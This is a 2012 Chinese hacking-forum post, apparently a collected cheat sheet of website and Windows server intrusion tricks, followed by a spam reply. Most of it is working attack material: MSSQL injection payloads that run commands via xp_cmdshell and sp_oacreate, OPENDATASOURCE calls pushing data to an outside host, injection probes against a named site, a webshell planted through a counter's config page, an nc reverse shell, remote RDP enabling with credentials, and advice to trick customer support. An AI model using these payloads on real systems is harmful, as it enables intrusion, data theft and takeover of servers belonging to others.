找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3795|回复: 1
打印 上一主题 下一主题

站库分离的方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:41:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
SA点数据库分离技术相关
0 s" L( b2 r/ E; ~, Q  S
1 [: H+ I2 X; N2 k* S8 y9 ?1 S0 F9 r! ~* U9 x. [
SA点数据库分离搞法+语句:# M, G# v- J0 T/ t# F
7 @) C) b$ L4 }
注射点不显错,执行下面三条语句页面都返回正常。  M& K& p2 S' O% x7 V. B3 ]' v
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread'): D, ]7 Q8 h( w$ d2 s" p* _
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')1 H& i& W  U' C9 \) w8 U9 D' }+ l
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')& S* {8 ~) l! @7 L
可以列目录,判断系统为2000,web与数据库分离' C5 v8 e! h, e  v, V* D* E* s
遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。) J) `& r2 p: f0 I
在注射点上执行
( n; q9 G8 H/ b' S! v3 ddeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--( Y  f: d/ k* y4 s' T& P/ o, w7 @) \
页面返回正常,通过上面这个命令执行telnet我一个外网肉鸡得1433端口,然后netstat/an没有得到IP
4 d7 N3 ^1 r! w+ U- W还有我用NC监听得其他端口都没有得到IP。
7 v/ j. `& d- h
0 i4 C' r$ s* e7 S7 G2 y通过注射点执行下面这两个命令页面都返回异常,在肉鸡上面同样也是没有得到IP。) X- ~( D' t4 O! H" j2 ?
'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--
* I  j- f% N5 m( E7 I+ ^& R+ `1 N% a6 R
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--
4 o. w+ i& b  _0 Z
+ I: f3 s7 A2 S4 D: x: L现在就猜想是不是数据库是内网而且不能连外网。6 P3 d) S' z" A( v) {( y
9 D5 E1 O1 R. n) e' g

7 \: k, ~4 L2 Raccess导出txt文本代码# s0 E# |: O4 Y
SELECT * into [test.txt] in 'd:\web\' 'text;' from admin
! ~' y% l4 b2 s1 ]/ c7 K* z
  H7 q  k* H! p
5 c5 z& L  Y. t/ H4 Y0 n. _9 C& _; h6 Q5 j8 ~
自动跳转到指定网站代码头
: e1 q% E  @1 K<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>7 v4 ?7 O% h7 y$ b1 r4 E6 Q1 K

: ]& Z% c; t6 q; Z! A" }/ S* f" ^% z9 n' {+ Z, Z
入侵java or jsp站点时默认配置文件路径:
0 w0 F8 @" P8 e, ?1 V\web-inf\web.xml
& a( Q' {0 R" q. A9 O: wtomcat下的配置文件位置:
' {& ?- J5 r' {+ e3 X\conf\server.xml            (前面加上tomcat路径)
3 P: L* S1 Y$ n\Tomcat 5.0\webapps\root\web-inf\struts-config.xml0 e/ y! k. o- g" ~

, d$ ?* j* ?! R) F, O" d
+ m+ X2 k5 O0 [* b1 X& r; m3 l/ ^* p$ t, Y$ ]9 m% z
检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:: q  x- Q, x; y. _! _$ N! k
-1%23
0 }$ d; e$ }1 h>
" w! e, ~/ _8 `% K3 _: J<
8 ~; X3 J/ N- H1'+or+'1'='15 g+ ~9 w! ^) a: ^8 M( y
id=8%bf
; }/ k" ?' }6 X: D
5 F1 V3 w  F3 X; O全新注入点检测试法:% Y/ P- ]. F5 h
在URL地址后面加上-1,URL变成:http://gzkb.goomoo.cn/news.asp?id=123-1,如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞,是数字型的。
# l; `$ _- ~9 z* J' Z6 S7 i( I. }* p. {& ^
在URL的地址后面加上'%2B',URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2B',返回的页面和1同;加上'2%2B'asdf,URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf,返回的页面和1不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。& q8 M$ `' Y0 S2 t& J
  @4 F+ O9 a  K) F
搜索型注入判断方法:
4 f: _0 Q" U9 w. r北京%' and '1'='1' and '%'='0 s5 x0 N  Q# M
北京%' and '1'='2' and '%'='
$ }; I. Q& H* {5 o: M) v1 C3 `1 R5 S3 g, K2 Y
# `( e/ n2 O9 r+ q0 P8 x
COOKIES注入:) H9 z. k( ?1 [7 j- k3 [
; Q* P; m7 R- M+ }" `
javascript:alert(document.cookie="id="+escape("51 and 1=1"));7 \; E; z. ~  _
8 [0 b5 F4 [, G( v
2000专业版查看本地登录用户命令:' ^2 N$ u! z2 w; D1 e
net config workstation
1 h9 {1 r( G2 [; _4 ^( V7 s5 Z7 d
# V( }6 L% O& J' l5 `4 i# x/ I' g/ q8 v1 ^4 r9 _
2003下查看ipsec配置和默认防火墙配置命令:
. O$ y6 _, S" j  Y7 k& G: y4 _4 Wnetsh firewall show config9 J" J8 Z2 f+ C$ ]+ h
netsh ipsec static show all
8 Z0 J% m9 y5 F5 K/ A
( \0 B1 V8 a1 z+ _不指派指定策略命令:6 A4 |7 P3 L  I
netsh ipsec static set policy name=test assign=n  (test是不指派的策略名)
* E; `( D8 f% F+ tnetsh ipsec static show policy all  显示策略名- [4 ~* z3 [# b

- D6 y+ q, u! |  V5 t5 ]
' \. K* c% D! \: Q9 ?7 u. }  P猜管理员后台小技巧:
; ?! N6 M  `5 C7 V4 J/ zadmin/left.asp % L& v' k2 j  M
admin/main.asp
+ ^. O/ t2 {( t3 n2 Wadmin/top.asp
7 j0 n6 r1 c( Q* \9 v- @& @+ x+ \3 fadmin/admin.asp 3 C. k6 s1 k) o* W& H" x* I9 V
会现出菜单导航,然后迅雷下载全部链接
; Y7 t4 x) i5 k( k! q' a+ l( Y, f5 r4 n% X/ M1 h

$ W5 Z3 M: m& `- |" ~社会工程学:  Z( Z* H1 q( ?7 J( N" E4 r
用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人
% {' J% c; G6 g. W4 L& @% `1 q6 v然后去骗客服
  _1 T4 A2 e+ J! T* K
6 w0 J* D% N" L* L: V3 A5 _* N. M* v$ I1 m, u
统计系统使用的是IT学习者的统计系统,在网上下载了一套回来研究。这样的系统拿webshell一般就二种:1.数据库插一句话木马,客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录,发现数据库扩展名是asp的,默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb,用明小子的数据库工具打开,发现有防下载的表。管理员的默认密码是:ITlearner。数据库插一句话木马这条路是走不通了,现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码:
2 s9 X$ o  E5 G& }7 P( I$ \查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">, 0 q4 G! K6 ~0 j( |& A' P
  存为html文件打开后在最后详细来访信息记录多少条记录,默认为100条框输入100:eval request(chr(35)),点击保存。提示无法找到,结果发现。
8 D! x" I4 Y6 m& y  l3 U6 h# j4 z# w
) Q- E) P5 M! w. O
) l0 E% b, z" q- h
6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞, 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)
; Q; W# n: T$ A# A1 @$ o/ ~& A/ O
' i  E" C& R9 [# |
% K4 n  i) O: [, m3 @$ H( L, i0 z9 Q) y
CMD加密注册表位置% h1 ~. M5 K% o' S$ W6 K; T
(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor5 C. j' B% j0 {# w3 z
AutoRun  i( a5 W3 C) q
& k  F% n; W, q" n. @# w5 Q
(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor2 R) k# j- ^! x2 P: `' ?# W
AutoRun+ q5 n0 K" S5 }! g0 f7 ?" g% Z; R# g
$ ^. k3 J6 E  Z" V' _# r! {

, U$ r' e. q4 q/ H- ~* O% v  R在找注入时搜索Hidden,把他改成test$ A/ c# }6 _+ E9 l$ E' ]
( ^  [5 i9 N& T* J8 W) Z, M1 N" q
/ {8 Y" Z! N+ y* Q1 i
) h" |: M! ]" n7 Q, K" `8 S* P
mstsc /v:IP /console   Z7 [- g% M, X( ~( S

2 C( Q+ f) `% n
3 D0 E% {5 _; q一句话开3389:+ U. X/ B% K7 `) b. K8 g

1 g! z) j6 Y' w5 l8 Z4 r! @最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>  
+ C: U& K# Q5 K% Q开远程:WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1          就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.1 C' e9 X! ]8 y- b( n) _# ]1 W
0 `/ X% d0 }, c- n. m1 a
' W" k: o, b1 g. O/ K
知道表名,字段,使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:
! t( ?9 j4 L( D+ l4 a  K$ }( ?3 \Insert into admin(user,pwd) values('test','test')' {, J; l1 q( ~: ~& t) j

  {& A! U0 i/ f7 ^* D+ g2 V4 r7 J, ]% [
NC反弹7 }/ z, s% O9 _2 X9 i) c9 Y
先在本机执行:     nc -vv -lp 监听的端口     (自己执行)   1 s1 X1 I) c4 l, |
然后在服务器上执行:  nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)
% v. V3 s5 X, i  Z: D# {' l" o3 b; a. s% M
, x7 b% ^+ U8 u/ f( @
在脚本入侵过程中要经常常试用%00来确认下参数是否有问题
" T) H9 _5 |4 P8 u: f  m7 }& G  ^/ q! y; x. ?
有时候我们入侵的时候,在webshell没有办法列举网站的目录包括dir也不行的时候,这个时候可以尝试用DOS命令SUBST转移目录
- H; m" H: U* B0 q$ C. U1 F) K6 U例如:
6 ]( n, y2 z8 k$ E$ a" i# {' {subst k: d:\www\ 用d盘www目录替代k盘' u4 N5 j5 Y$ G  `8 q4 a+ h: @
subst k: /d  解除K盘代替
回复

使用道具 举报

沙发
匿名  发表于 2017-12-20 02:36:51
We are a group of volunteers and starting a new scheme in our community.
Your web site offered us with valuable information to work on. You've done a formidable job and our entire community will
be grateful to you.
Website: Antispur Duo Forte proprieta
回复 支持 反对

使用道具

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表